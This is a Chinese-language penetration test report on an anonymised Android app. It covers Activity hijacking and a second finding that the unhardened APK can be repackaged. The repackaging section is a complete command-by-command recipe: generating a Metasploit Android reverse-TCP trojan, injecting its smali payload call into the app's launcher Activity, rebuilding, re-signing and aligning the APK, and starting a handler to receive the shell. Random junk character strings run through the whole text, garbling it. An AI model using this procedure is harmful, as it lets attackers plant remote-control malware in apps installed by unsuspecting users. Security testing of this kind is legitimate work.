原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

1 K7 {4 S! a3 ^' F5 ~0 \) x$ ? + n0 G% U: m+ R4 D+ ?5 H- v
7 k/ N4 e V' ]5 p5 e; N8 ^# K0 }9 a

8 \$ \$ U0 n% {# G, y 8 Q/ {' o+ x2 C5 u8 }

8 f* }) \5 Y G0 R 文档编号：                " E& Q/ S8 f: S1 o/ H2 A! X

& N+ i+ l3 p% O

8 z* Z/ {+ l. P* |: {7 I/ L   ! L: d4 p* s% Z: a. Y 7 k; E2 I0 j+ p1 P

, ~2 g" o9 S: R4 x & e0 A2 q; z% a/ z. V; a) ^9 w9 A5 {

4 A2 Z- X3 v1 H5 B   . R! m% ~2 x. t* ~

; ^* b- k. Z* w

3 z) r/ U) e a! ?: m% u: P) @   7 [* ?* q& d, i2 { 3 P- Z7 @* ^" H" P3 O

$ Z- G i$ U8 A2 e9 J: d. j

  4 _$ {& w& A4 U6 ^7 q& W+ l

1 i/ W' [8 i7 S9 T( F2 X/ V. u3 d 6 M: }- t" K0 u

) x# \/ N2 }6 ^9 ~3 P( P4 v  

6 P. }! k. j+ |7 R; g

; M! q1 U5 G/ F 8 A9 p" \8 a4 y9 s+ ~* z 某某某APP渗透测试 8 q: f e6 l- T8 { 7 I% k+ U: b8 @6 g* ^* s- h

2 _( m4 T+ Z' H5 M   ' k* I' E! W) n, b( V. C . z" u! I* n5 b/ e

6 s' G6 \. R* X. N7 [0 J

l2 l% t1 W! ~8 u# e4 T: I, w6 `  

, ~0 n1 W M5 u8 ]

9 v0 Y* ]. t1 Q$ y   ! ]0 ^) E ?. @4 G, T6 P( B * O2 L! H2 ~' Y

" u7 g$ y2 P0 O v) p

  5 D# H6 \) f: g7 y% q9 r* o0 H$ C; v

& g1 T' [4 \7 W( c

8 P! ?' N p# w2 f 技 术 报 告 4 b( Z* K) @) j4 R: A4 I* n

3 u* P, h( I+ p, M) z7 C5 k ; U S9 a" H" C- a2 Z3 r( e" ^

1 r9 n; p& I K) Q$ f, n5 r) j 3 r) L9 j! @9 C$ S7 K: @  

! p. \( ]' b( U" R9 u/ S 5 L1 |/ @" N+ M

# k2 c" z' s; C. K! h! T5 A8 K( s & S& X. @3 }7 n k- m$ v   3 e% k% R9 o( W' F

9 D, l& U6 v, v& n7 y1 _& H# j

9 [- k# F; ~. f4 n% j  

9 X3 K. b# Q$ S8 X

  - ?0 d, r c! l; r' a6 p

% c+ e( i* Q# L + U* R) C, B, q* _4 g8 u

2 q. {+ X. ~& _; N8 }& v2 V: U* N  

# q" U) p+ T: k4 K$ E7 A1 [

  2 D; w" @5 t6 A. G( U

+ y% z7 ]1 u( [! Q5 Z * A$ i$ D( j' R# ^( z: F) m

# p' u1 s; I8 r" Y' |; Y  

  - ~7 `' z+ s3 |1 m/ J# t$ Z% B! o/ C

d7 Y$ T/ ~8 [+ z2 X. d I# d/ U' u' I

( T1 m2 i9 d% \1 ~   5 p/ [ ^5 }) ~& S7 |5 E 0 b* e! }7 `7 s* X" k$ @$ V

: t, V" Y! c. B! a# c2 m9 U& X   1 G5 Z- k' q* j$ a+ I% M

+ t$ K# R3 t7 D' F* E 6 O% Z# g6 M% P1 ~* x# H/ K X

P" ^2 X9 r$ C' ~6 f8 w , k7 U& ?: n$ ]: a9 }# q) h   + Q7 ^" a1 V6 d6 M. @

1 ?: p) ~& ?7 f; {* n * `* i+ b( ?/ n   5 \2 O$ k$ m' q, |

) x, T0 E3 C- Q& i$ n7 Y& k: m H9 n4 p/ @8 J8 T ^4 C

  % j2 e Y# {4 Q5 o2 h2 Y C/ F + u& i" O# ]* _9 v( O

! t6 c3 I% C# G- B3 v

  ! \' ?; C0 z% T- d. F

/ C' V' |0 S8 L H 6 ]! B: W7 [/ R4 t3 i- W3 t

1 s( |5 C, Z3 u( N ^  

9 l4 a# G! E+ ~/ @7 p1 U & Y+ L5 V0 z4 _, Z4 m. z   $ C ]2 _% R. J! M

M( A1 ^' v+ b% F, A

- n# ~8 `! C$ I   & u7 X: T: i1 X( ^4 _" q- O

: O5 H- |" g2 x b. F+ g& B

  . Z5 A9 _$ x4 k7 f- `: u0 b

. u8 y2 ^* | u

: g. u$ x2 l$ i: o( f 二〇二〇年

/ N. N& t5 x3 Q& m$ O; O

8 c7 {; ~+ l2 X% J
0 ]# _; h& Y$ t3 m2 o4 L2 x j

i4 M! H" P1 |/ ]( g) _) n 7 U7 M6 Q9 H) T; s4 }/ n

: |3 D: H9 G7 D" U4 j) u 2 X5 r" x) a6 z3 {* d0 s
# J& W. Q* N/ [- x: ?3 k- B # }+ b& W4 }) Z9 z5 N + b/ P* b1 Z4 W; L : b2 T% }+ q8 i+ u9 f' O S" B

5 J1 g0 b3 ~$ c2 _; ~

S3 A- F i2 ~1 p m 目 录 % S y+ H+ G1 b% Y2 u5 P" L

' d/ ]! s: P3 w3 a' G: ?% N 0 t' h: \# o# q

8 _% [ Y3 y( T   3 ^, o W/ L) t$ x4 F3 ^3 E2 u

& b) Z3 Z) t. O4 M- Z. Z

6 Z$ S( n9 h1 J3 V6 c, U! T' Y 1 概述... 3 + N% g5 o6 w4 Q9 I' G' J

: \: X" s" ?; S# `$ G: i2 F . J! f2 C( i( P

! x: ]; D+ Z% ` 1.2测试时间... 3 ! E3 C4 w: d, F6 L! Y- a

b, O7 I% P4 b6 q0 J

& i C8 `$ U' @% q- i4 E9 C3 d 1 s4 o* Z1 ~: x9 v 1.3测试对象... 3

+ f, Z% M) j+ `3 l9 c4 n/ s m* `

1.4测试结果... 3 6 ~3 T* E$ [- k5 A0 o( l

" c4 q" Z2 ], | 9 j5 I9 N: P1 d0 u/ j9 j; M

2 j s% @% N1 }( A% q" A, x M! o " Y6 {* N8 ^8 B s8 N 2 检测结果... 4

0 c" P* k4 f, X* W 3 I) ]2 x1 r6 J 2.1 某某某... 4 ( u7 ^9 L; ^/ I I; [ \ ' ]% l9 n7 ~: ?

+ |4 v" {3 Y% o+ I3 d 2.1.1检测目标... 4 % X" ]$ ?! {$ O6 Z9 ^: V

6 M& w w1 m7 k x- E& h

2.1.2检测结果... 4 & M i# h7 {7 x' r# b3 e: G R( R0 W

5 C1 [% c. l' ?" d

& B; J. q5 K' ?2 q. g 2.1.2.1. 4 , e3 ]% [4 ~8 S' D& h j* [7 X# _

* Q# y; `9 I# W) ]" N3 s( o% Z 2.1.2.2. 6 . K& N7 m$ m. c8 o

9 ~: h6 Y, \" f+ f$ P f0 `

5 f6 f8 g' ~% J& f / E' ^3 S4 r* S" Z: ?

! a8 u9 D) v3 e4 b& h% @' O
# r7 x e5 a, E, c7 s; L9 I S( F: z/ K$ L5 {6 M3 Z, T

/ u6 k3 B3 G' g1 R 1 概述 1 R5 ]2 G7 d2 i' x4 o( s

1.2测试时间 . L% k4 j& Z8 w! t( u : D0 S( f7 w9 m/ e1 r% p

% ~, V& H2 n+ X! j# E/ L% y 0 X u6 i: b5 u" t! e9 n" A3 j- x6 t6 R, Y. j* d# E, `' |8 x, v# v% ^" j: U8 |2 ^* ^. r+ `1 }9 E- G1 R, _- [/ _7 L- `: @# P7 G% s% [( g" A& g6 U/ H' o4 v( \. x3 d! E+ z# A6 D4 l/ a* _) `0 Q7 |- f* W8 Z. g% ?" `' p0 @! O- u. i. P/ Z! e* g: k9 j* @

* j2 X4 A! }5 c Y6 \. e 6 \1 B2 D4 u3 r' y! n 渗透测试时间 ; _+ G) y0 _4 Y$ L - e. u8 F& q& n
( ?% v) F' h6 ~; H$ B 2 K! j. D) M) ^9 L- L6 H9 G4 C# S0 U 起始时间 6 F( F# G5 o" K- c5 {* J . k; A4 F) E$ O+ t* z $ J# ~6 @9 i8 z7 s5 }' Z	' Y" U# g' m% v }7 q' Q+ n! [( |7 H 2020年4月6日
+ {) \" ?: i$ H% F7 W S8 t& @5 z" U2 W0 |! s: X 结束时间	( V0 Y, D( Q5 ?4 t ( |' s& @! {0 E+ B- [- R1 j" E 2020年4月9日 5 U2 e- z$ c5 m- V% F- k/ N 5 [$ M8 k( }. A* Z

8 _" x$ T0 S& w) O 1.3测试对象

" ?6 l7 ~7 w- r! Q+ _, x9 J9 X

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

" y: S* m5 Q! ^% h! \7 \6 v, F

) y* E- x2 `( w, l8 Z6 ? - f5 x4 c8 n* f' w 表1-1 检测对象 & R, U0 [; y' G8 K$ r 6 r* p4 A% u4 i9 M- Y

Y* I* a6 J5 y: ]* l( |+ I' H3 b; T3 I. ~ . @& [' D5 j( B- W" O: B; j1 v. P. `# @7 f7 _+ A; |* }" D; M; h2 P8 e0 t# j( A7 q3 l9 S& c9 V w' B X% ]" H0 o& O9 Z, P- d) p2 X) M. T( ^, Q( Q7 f' _% ]* e. O, g0 D# O- J7 |0 ?4 E( h2 u: g: Y8 ^7 ~2 j0 z0 V( W) I; X* R" u5 u P* F* l9 {1 x" j9 l2 A) s' p( Z& r# g+ c/ T$ L, n& }) O4 N U! K

+ {1 S) h- B' M+ s+ H. o: V- | 序号 ; E' t1 N0 m1 j( M6 G " N4 }: E* ?# Z2 s0 P% c q 4 _8 ]3 c; `- s+ ~ $ k- z \& x- n+ H, ?! d% l	9 K! H5 D8 G2 H X$ g& F6 Y 8 }9 z; j% E3 N/ L* L + H5 Y1 H" D$ b: O- u 测试对象 8 o2 f* b/ Q1 ^* y" k! V	6 ~/ l* K) S% X4 ? / O5 O* f& W) z9 j S 测试地址 ( F6 ]" c! M' h- v . t- P, G# o2 q8 Z	# J/ w: D" H- v) |& G; W3 _$ [6 E 7 h+ D* H7 f( [ 安全漏洞 1 A6 f9 Q! L& I+ K0 |# t2 X# T 6 z2 P6 E4 t7 H( t5 g* q0 D# z
$ X5 d1 Y, Y, ?% G, s/ Y3 a 1 3 M1 a- N9 D2 K0 ~ ( z7 S9 _0 b% l0 s) R& S	0 @5 b% A) o6 W$ Z j# u$ L, T& Q& w- Z" p$ L/ g 某某某安卓APP # n7 t8 j# n# }8 B % E& ~+ Q: A( o6 ?9 X	. Y6 b+ x2 U* z5 c. s 2 ?1 _* j; i7 P0 X1 j + g- O+ h, \7 J0 Y' Y# `. F   0 ]: S4 ^1 C+ n	/ t- P3 n) O2 G1 k( r3 n . R' l. _. S) F# z _9 { 2 # [# K% D t, ]5 b8 ~

+ P4 r- w& M7 B: k, G 2 n' w. ~" g8 A |3 G* f 1.4测试结果

( s# G4 R" Y- \5 N5 E7 o4 X3 C 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

( [" B% A j* e. \

; Q- G n; c& L6 T e6 e( k  

G) \/ B+ U: O2 r' _9 x

) U6 ]2 T; {2 Y+ O; n ! O" `* W" `1 P& D7 X! G- D8 k9 x# S' A( p# l% z8 i7 L |) g( Z! s' u, a% [- c3 l; f6 D2 {$ J N$ J$ J3 u" w- s# ^' t/ ~3 L- Q, T; ^' b! y0 x& {" D) Y# G: Q3 M! O' V# D9 n" H4 m1 Q* q' ^: C) n2 G; c( x5 r0 K! o$ `, B1 j: H M- x. @% J' o: f8 p/ h/ v/ d1 r% x- z6 O) b. A# `# Z! I. [# ^5 O" Y% A/ X. [& z3 C( @* c" v1 H/ H! y( i9 V+ P; {( W2 R- p, D7 h# P, \! r9 Q$ Q) ^0 @0 L9 Z/ R& i; F" b, @0 w9 D9 x1 V* Z4 U0 {8 g8 v' N6 X& z) s, }8 z6 M5 F/ E2 h8 r- z+ q: h) n8 d8 k, Q3 W# ?- S' z- a6 f0 p0 L: r3 ~7 U; O. ^. [: q; `9 S& O+ ? q1 e8 E( Z

& k+ j( T" g1 B# o" c " {. Z$ b: B2 E4 s+ c M, I# ]1 K6 D3 y% R \$ S) g f$ f" t 序号 0 D: a6 B3 z; o' M! ~( O + L: n4 ~6 S8 D6 C3 q. \& f 5 T8 g% L3 G) |3 C! d/ |2 D	# l; T. i/ s9 a/ M; g0 q9 j, q! Z 6 t" O6 M' C N4 j7 u0 v$ ~ 系统名称 8 y) N( }/ G$ ^ b6 I	6 a/ q. J& K& V9 L/ h+ @6 B5 C * Y! t4 s% n+ c. ~; B 漏洞名称 $ c$ @2 V6 m% H# i$ u , ?7 l p2 |! J* m	1 o# h, A5 C& s3 o1 W% r ) i) P3 v6 p' X5 C 漏洞危害 . `7 X0 _+ S1 { 7 ~. c5 n6 u Z7 O	- X9 h( N- }8 c9 D 3 }6 s( c8 A; H, W0 C 5 H( y# j% V# z" I) w- v% v# | h 修复结果 ( K& i& t. `" ~. p 7 U1 S! J3 O8 l/ E
" M+ w0 O1 |) ]2 J * A3 e' a7 r9 m, C! C& Z! ^; j * P, `7 k) N' l3 D$ J0 F 4 O' n m" ^1 B" @- L9 O9 T" \2 J 1 $ { g5 n3 D | ) K4 X; o: P' c4 l ; N& S. c5 \: C6 C. m( _; k	# K5 [6 M% w* j) U7 u- z! A 8 a. L: u# Z- ^' G+ J 某某某某某某APP : g+ Y1 \& w# w + t) ~: }; W* x# ~0 H6 O+ B. {, m6 i4 ]) r4 ]	) y7 z4 b8 j! `' e4 G- m ' {# D+ p2 n! w- t' w0 E Activity 劫持 ! [, W/ Y |2 q! m8 Z* h& i* E * q* P' ? i, Z8 ? ! F# _8 x6 w2 ~ 9 m8 U; h% E1 J9 E4 Q$ P & F2 O( q2 ]. w4 Z   % M" d7 |( Q: q8 Y2 ]9 g & @+ c! z$ H6 ^9 b! q6 R	! r1 a+ K' M; X, }5 O% c& @ & s- P$ F: ~( |0 l! ?4 u 3 t4 c& _+ t1 D) C' I- ]# x# ` 高	# s. J) X( V7 b# d 3 l: v1 e% e) Y5 [: o" R   ) d( l7 [. h9 f+ W, v m3 z. S 1 i+ j, V6 A1 q
( o0 `: q3 J% G0 q( _ * w0 l6 h B) X; K* V2 R. k 3 g; p. F ?: \% g" c5 o 2 : z7 M2 X: |1 G9 T/ U 8 w. c+ n W; g* \$ f/ M9 E" O	0 n. S4 q; p& i( V/ O ( ~) Q; E- B& f: l: H 8 j5 p2 W6 \6 G: A$ h- K8 X9 o , e: v5 u) b7 d# Q) q& {* K+ i 某某某某某某APP " E2 h0 }6 M$ n: | * g$ Q( P9 V0 ?/ U 3 u( H- M' n. `* e% X* V& l	6 }# b$ q( P# L- Q5 q1 B8 J# ~+ Z 反编译二次打包捆绑木马、篡改APP代码 h3 k4 U+ u, Q* t4 f& M6 q* [	6 S' B) b1 L# w' k" O% g - D) u, l j9 M1 j" }" c7 F$ Q , q4 B, d. r$ V) V' s2 e 高 # ]5 `- ~; w9 j% |8 }. P: N) @% j ! n2 {/ V( U/ O2 a' G9 E1 J	; E- a1 g0 u* c) E. n 6 ?. J W+ X( n$ @/ s6 ~ . { X# y/ n, Z8 L( s   - f4 _7 ~4 O8 n$ U9 w d 7 V s1 U- k A9 F

0 {0 v. Q, `5 e6 ]. J! Y 3 ~) A' z$ K! a+ q

1 r6 ]; z% J( x/ t

 

3 d; H) A& X2 y3 F4 U. g

* q3 l) |8 M/ D6 i 6 y7 y! }5 x9 y3 t 表1-2 测试结果 ! B: b) `! ]2 k$ s; A

0 ?; ~% w$ x0 N3 E8 I; t . x) o: D# u& o: {

2 Z( `4 h5 E4 }" W: [   , ?6 @: s2 V( d

, _8 O5 F9 y* y7 \# [8 v ' i. j" ~ m0 y

' K6 A3 u8 c* D* A 2 检测结果                   

* d9 T' R$ H& `2 [( I7 P

2.1 某某某 ( `4 d& l( [* @) e 0 t% c5 z9 d* \0 i. Y/ T

; t3 p8 T0 ^$ K$ t/ T " G. h% o' t% C 2.1.1检测目标 % C; h- Q- ~* E

& ]6 y+ f' u5 X( `' b

目标地址： 某某某某某某APP + Q% `: Y1 h# F! _7 p3 R& V

+ _8 x7 p; ^8 }* G $ Z5 q1 N7 A; S% `7 K3 v

( r2 o, r) W3 U' s2 E* e! a7 T 2.1.2检测结果 3 s' L7 A5 q* G$ ~# W Q n& A$ n3 V* w6 G4 l( B8 q: A

5 ?9 v8 J$ C& H3 ~5 v / X/ p0 v- L: v3 p" @

# r9 y$ V- D. L. Y/ {, t8 O* D 2.1.2.1 3 O0 c: Y% }" j# G1 D* G# _1 {

( s5 \; q, M4 ^! k3 ]

: [. b2 v; q8 d 漏洞链接地址：某某某某某某APP 7 P: o, r2 a$ g; ~ 1 b- J1 h$ |& |+ p, i* ?7 \

0 A: {8 y3 a) i/ K# n0 X F ( Q- ~) | d3 ~/ L8 \( j

0 b0 \/ \2 o5 I1 E$ g9 r0 Y   4 x5 d3 `5 L: G2 E, l/ l

- w7 f2 D0 n6 Q, c4 L' [

% Z( n6 q9 Q p/ k 6 O9 v! J: N, T( W& N$ b. w# X7 {4 W 漏洞分析及取证： + r& t% R+ f3 j7 H- I8 L

. H u" T- t- V P2 n- |6 A ' K0 {3 t0 x( j

* ~' w/ b6 [/ y& W                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： ) K6 Y- f9 l" @3 O : Y5 J% _7 H: p+ ^. Y

. V1 y# {$ Z+ ]5 p, K& ?0 R. ?7 O1 k0 M / ^" [5 M7 t7 x# p

7 ~' m: z' L: d* |" `     

7 j' h' z3 ^/ u                      

! j6 l& ^3 j1 K 9 k& U% s$ T0 O M1 Y: H* q% ?

3 q9 A' m3 C7 ~, A+ L) T " w9 E3 I5 Q9 N7 C" j5 |+ S 8 k, X, x' d" ~5 q d! c3 h5 n. F d, m

6 E4 s: ^: I! ?

. I" y+ b7 ]2 ^! T * }9 v3 @! i3 z+ I3 m& [ u2 f

5 v0 l+ g; {0 w4 i- O

5 L# q/ l. K$ F( v I) s2 V 6 H6 B* s* |2 I9 f+ U

8 w8 U: o; f- |2 f- C. o ( P% A$ S4 v7 _& V

. T" y" |- I- g6 l 0 c; u4 c& L" t' F7 L 漏洞危害：高 ) |: H1 | s R6 m/ X- l# P" N 5 a2 ^3 i; F4 m/ W" g3 r$ g6 J

2 F2 X) o3 h# M& a7 N V ~1 @7 J 2 J* \/ s+ K+ E# q+ R

" @3 m9 r8 b6 ?5 y( n, n / a2 Z5 O0 i$ h! I: ]+ r+ C6 J * k% F. _* l; c5 ^5 Q2 c9 I3 B- Z8 x+ H9 {) k4 U k7 R% g- g: y4 x3 U0 N! c* E: \3 ^' o: e8 R9 ]5 _! [* @ |! L" B- ~2 M) J/ @) }! [2 q) S+ E9 z. v# F2 `8 Q+ L1 Y+ L; T9 `: e; L V1 l3 Q- Z ~) ^8 r3 w6 w' H I' l8 A* O( M5 @/ i, m, Q9 H0 s3 c7 w; q$ a, U( ?+ Y! _' G" d0 x) C8 t& S( I( l2 a; g& B% l7 }7 z, ~- t

7 \: Q1 H8 e) N( F3 A; B. }7 O* R, C+ F8 ~ 9 Z) O/ Z: n* c# u- t 严重程度 - y# ` u( m4 L+ F q* L. e! h/ e& q # F3 }3 f8 u3 d " ]( |7 w: m) _) P ) b& v. ?0 k# J	m/ e' e6 N# L% Y - x! u [( F/ Y! H" t% t8 k/ Z 4 |' ?6 L, d3 p* |3 }* U4 l0 _ 高 + v C+ ]1 N9 e) `- s$ U) g	5 l' A2 z8 A% A$ U 7 o$ o* E, w6 Z7 U$ h% B! P ■ ' t) \/ b: p4 W+ v5 }% t 9 y6 t8 q8 q( t* E& N# n( T	) d! V) p! f/ [8 T4 x! s 中 1 @9 Q4 a( V3 x2 t2 x5 ] - n4 s4 B% E! {& H - s4 O) M: M5 ?/ q) W, }# p	% x9 g9 D( _9 V1 }! ~2 x: Y. y   * x, @/ T1 h/ b - v5 g' d% Z) c( L, P2 c, _	3 t7 l s u6 O, i! z# e# A; N( b# p 6 P2 Y; X: c( D) S+ l4 E ) b" ?& h8 s, h% U& R" C7 ~ 低 $ |; p- S. `2 P" N8 c 5 l# ^3 G; z$ l* P* E+ K	* {4 C; k6 J/ C   4 w2 Z4 H' h2 i7 L- U4 g, }# ^9 L : X( v5 @2 O" P6 `" ~* u $ ]7 L2 u1 ?( S0 x" M 1 X. t1 M/ \1 L

# F/ W4 _8 s0 } }5 V

8 c. _/ G, A; ^$ d+ J1 @

0 \0 L8 _/ j& T& J! l8 g$ [/ ^2 i   # i- W# Y5 h0 z3 R1 B* ?

: {3 `6 d$ J" ]4 d

$ x9 B! T9 v+ E E 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ; ^: t+ I L& Q6 d' t& Z7 x. F ; U5 P- X9 g2 c. u! @: L# W/ h) F' f

5 o* U8 E# N2 t5 j 4 g* u2 h0 K, N! {6 O+ U

          7 v5 U/ p- G5 o* M

7 k' ?9 E( M# M: m: N9 f

  : P8 u) V0 D5 V1 x' {: H( r8 E

- J, S. p2 J0 m E! E 0 [1 ^" x7 b; Y 2.1.2.2 : n# v$ d+ E; m, y5 X% ~

+ B2 C# N. _% _5 k1 }, L ( Q I: j8 _* G 漏洞链接地址：某某某某某某APP

$ C8 u2 w5 g* Y! P% }" B 漏洞分析及取证：

- y' ^1 _ i# r' P* B' Q' R

1 v& I6 C( v( y' F# C                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： . d4 Q! ]6 S: E; }

" h* Y2 Y# I4 [0 V! {

' O# U2 z& e, P. v 4 q2 x" ^( j0 o4 s9 \4 i 用Metasploit 生成木马 apk 4 E6 e; D9 b% H; n1 i6 P

4 u2 }# d/ B, b( i5 c2 q$ Q2 R

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ! v; l- _. M6 x! Z3 [ K! u

$ X3 ?- R, w8 }% b ; G/ p* I; V8 \' [

. y* D5 z; ^8 F* I& B- N1 [3 ~' v- i: E 反编译目标apk和木马apk ) t& ?/ ^# h$ [9 p1 L8 M

. P/ ]% v9 t3 ?" v' T0 g& }

7 E( _" r+ F- N) a- O. j& t' D ! _, p3 X6 K$ Y6 Q: M+ A apktool d target.apk
$ E" a/ g& v9 ^! R! n8 D % C1 I8 i5 }# l4 A; ^/ @3 k6 @/ \ apktool d cockhorse.apk

H" l! e2 X1 ~( H( E

R0 O' t' Z+ W2 Q Y% m) r : [' v/ M8 e, `& C 木马 apk 注入目标 apk " V0 Y5 z) u* z& c) l7 c7 y

% ^) m7 F( i) {+ y2 u & O* @& R- n" E: }6 ~ P

/ u; j5 ~4 M# F( i- {- P 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
4 [4 M7 M& E$ {$ K , j( T' X9 ]( x3 ?% G invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 0 p p: ~! b) g" H' O! ~% D

% V+ O' U$ c! z: h! g . c' T- U4 E* Z- q# C. h7 J. E: ^ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 " j. ?" I# u; a

4 C/ @* @, A7 E( l# y! ~! G 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

4 z, U: e" N* V

, Z- W& p8 E% a- x ?3 J% T& ` 回编译生成最终 apk $ [/ C1 d3 { ~7 j : x- f5 i& D) w F

% C( ~9 @- _3 ]! W

4 | ^8 P7 }4 a+ h6 B1 U' C# e% n 重新打包 " F v4 X9 \+ Q4 Y ( d2 H* m# w7 |$ X2 ]: I* Z3 A3 {7 Z

& ~, m0 o7 J" i6 |3 C " x* ]3 H v8 O apktool b -o repackage.apk target_app_floder

! I/ U) t+ @" v# I8 E 7 ?8 t7 m4 } V8 N* C" I3 y5 D

创建签名文件，有的话可忽略此步骤

& q, Q P6 `7 K8 b& G( s& `+ M

) p) i1 o) P" B! w p keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

* y% ]% A- y* h+ j ( ~1 V* g1 v+ ~" _4 N0 Y

8 t/ j! h5 C( d0 C- P4 {, O4 V 签名，以下任选其一 $ P4 S: F/ t$ K+ V/ |. q : O3 c y3 P& }; G# Y" V

5 f2 j7 ~% f T1 e1 d; m 0 J [% }- w0 C3 C0 D( ~, z0 H: P( Q

2 d( K2 n# y; l) p Q% l) e jarsigner 方式 6 z! y6 x+ P& ]5 v! k5 Y, c/ p7 } 8 P h: g, A6 e* [2 ^7 V- m

0 A4 x% @+ c7 \% d0 e% P ( X6 L# V0 S, L- p jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ) T6 W, ]* I1 m# g4 s% w

& e9 X! |. `1 }! X% P3 F $ v3 y% I: M7 f/ [! z7 s2 U

apksigner 方式 4 j5 T4 d; F$ C* F9 h

j, G# N* j" B# O* j . j# [! |. h8 _+ s# l

. Q0 n8 y% D' [7 T) D% H apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

7 X# Y, [$ f) R7 { , k3 i& r, i9 ~

8 c X3 I& ?3 T% u ) j" Z) C$ [0 t- b1 q8 P5 v6 ^ 如需要禁用 v2签名 添加选项--v2-signing-enabled false * d ^& [! w& F( i6 o# ^ r

+ s& a3 b- Q! n9 n9 K6 r+ g m! K

4 T3 @5 ]( \) k$ x& c" t# { 3 x& H7 G5 T t9 |; k- K6 X; _% N- i3 f 验证，以下任选其一 8 p) N3 p; D( I; e8 n

" K3 q0 ~1 G: y8 B$ b1 k" f

1 y" A& u* g" Q' Y3 U jarsigner方式 # ]0 i! |1 Z6 C" z

3 g) v4 @3 {4 {* F( U: U

! ?" F, G" `, B) C$ A6 p ( `1 y. e2 P0 e% l jarsigner -verify repackaged.apk

2 [5 d T+ c9 R! C5 B - U( |2 c: [& a1 f! r+ U0 |

8 w, _2 d/ q4 h4 m 8 A0 O5 R3 q1 P7 @3 h apksigner 方式 + _9 e/ c! e% I8 D, a

$ M$ u% E4 Q- T7 J2 C! e; V. a

apksigner verify -v --print-certs repackaged.apk - W* C! \. @$ m: t7 U+ w e & h8 b# T" h1 N% [, _5 y

) A: K8 g6 T6 v- J

( Q( ?# x" E8 t; J$ e keytool方式

2 t: F3 N# |, C, F6 l$ k

. C3 X0 v/ x1 W keytool -printcert -jarfile repackaged.apk + k$ O( Q( ?- ^; e) {- G4 V

) m) |5 ~% D! R' z. `3 b: U6 U% y0 N

C9 O$ `$ U+ W& c6 F6 e- [ 对齐 $ h8 G+ F$ A: J6 |( J# o- }

0 ]6 W% x8 U- J( a3 ` 字节对齐优化

' S5 B4 h& B2 w; [3 [+ \; C

zipalign -v 4 repackaged.apk final.apk 2 Z' p6 d, }" W0 t# @

- Z7 h; P3 }( j$ B . b5 D0 `& l- u, U& z6 K

; F1 m$ }* h; V5 d 检查是否对齐 4 Z6 M6 H0 O. d& W6 S9 t" k

3 j( T7 R4 D+ ~4 | 1 z6 M" y9 w1 J* ~

1 u0 e1 f1 N, [" P" F: ? / L% |+ [! O) w- V& U5 L zipalign -c -v 4 final.apk 1 C e1 U0 v0 d( S+ b: _ $ I4 D* @! Z, p

% ?# p- U) g7 K5 ?% d$ @. C

( U+ q% C, H& J" h; P 0 d, V; R- |' ?, v) l2 ?) C$ Z 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 3 J$ Q: f! Q. e+ Y! O3 s4 ^

0 x0 Y1 S! e0 n0 `0 w 9 F) a& m9 q% c$ _4 k) V( o

3 A6 L7 N' l2 Z' c8 o 启动Metasploit控制台，配置参数等待上线 " [4 l! C% g( i7 i# J

! ?; m O- y/ ^* ~3 V 在终端依次输入如下命令 8 j5 b- I8 n1 E( K

2 L8 w% L/ _- Y$ q! S7 A( k & G8 R# x1 _9 p

4 b, n3 K0 A0 T5 s6 X$ c! r9 V! C msfconsole 4 A& z' e+ }. X0 t- B" ~* C

/ v' z# R6 x$ H# E$ C ' g' K) S& Q, t

3 e' T) T r2 i1 I. a2 U use exploit/multi/handler ! ~+ U$ \) P& l7 a. j: i7 G) l # i! @: k) k% S% C* q

?. j. U* h. p- }. Z% ]

" S% R h1 ~- ]! @ set PAYLOAD android/meterpreter/reverse_tcp $ V0 M1 N$ Z$ U

' R) E8 w1 A) {; K: e9 {* ^* {% L

6 d- C( G; E. ^$ c4 ^2 o' E set LHOST 192.xxx.xx.xx

2 ^1 w* x! J9 p$ G8 {' R set LPORT 4444 4 n+ ]8 M3 f, M- @* d- V0 O' k

exploit - C l5 v8 B0 y; O 0 ^* J$ h% a3 B9 }

q/ D' l8 v) a; j$ J. A2 Z" F ( A' A) m" X# d1 V

5 M. y) z% G4 K- @ # Q; u1 X3 t9 G! X! H. }+ b! z 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

7 R) x+ O6 g. a; U7 X0 e3 T5 [

' x( y# F- ?. \- g* f; U" o: s 漏洞危害：中

0 z& H8 e* V$ `8 A/ W . y8 T# q/ t+ C* z! l- f 3 Y! y5 O3 n0 W; Y; e5 |9 v9 v/ b1 L6 c9 ?% p- @& d' i- o2 |7 n" v% R5 _+ i$ |/ s: I& s7 L( |2 e. m0 l# o1 h# I, B& e7 j9 ~2 D2 v: D) b- N" n( J. M1 n' d! q' z) b* O+ g0 L1 B5 h* |6 n4 `3 c: y* n$ G2 u0 W- O* f/ y% d& D: V+ }9 Z1 V$ r

